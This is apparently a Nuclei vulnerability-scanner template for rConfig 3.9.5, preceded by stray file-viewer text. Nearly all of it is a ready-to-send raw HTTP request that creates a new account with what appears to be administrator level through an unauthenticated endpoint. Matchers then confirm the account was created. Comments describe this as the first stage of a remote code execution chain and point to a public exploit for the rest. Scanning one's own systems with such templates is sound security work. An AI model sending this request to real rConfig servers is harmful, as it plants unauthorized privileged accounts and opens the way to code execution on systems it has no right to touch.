65 lines
1.7 KiB
YAML
65 lines
1.7 KiB
YAML
|
id: rconfig-rce
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: rConfig 3.9.5 - Remote Code Execution
|
||
|
|
author: dwisiswant0
|
||
|
|
severity: high
|
||
|
|
|
||
|
|
# This template supports the user creation part only.
|
||
|
|
# To triggering an RCE, see references[2].
|
||
|
|
# References:
|
||
|
|
# - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
|
||
|
|
# - [2] https://www.exploit-db.com/exploits/48878
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Accept: */*
|
||
|
|
User-Agent: python-requests/2.23.0
|
||
|
|
Connection: close
|
||
|
|
Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
|
||
|
|
Upgrade-Insecure-Requests: 1
|
||
|
|
Cookie: PHPSESSID=pdnuclei
|
||
|
|
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="username"
|
||
|
|
|
||
|
|
pdnuclei
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="passconf"
|
||
|
|
|
||
|
|
Testing1@
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="password"
|
||
|
|
|
||
|
|
Testing1@
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="email"
|
||
|
|
|
||
|
|
nuclei@projectdiscovery.io
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="editid"
|
||
|
|
|
||
|
|
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="add"
|
||
|
|
|
||
|
|
add
|
||
|
|
--01b28e152ee044338224bf647275f8eb
|
||
|
|
Content-Disposition: form-data; name="ulevelid"
|
||
|
|
|
||
|
|
9
|
||
|
|
--01b28e152ee044338224bf647275f8eb--
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
words:
|
||
|
|
- "User pdnuclei successfully added to Database"
|
||
|
|
part: body
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 302
|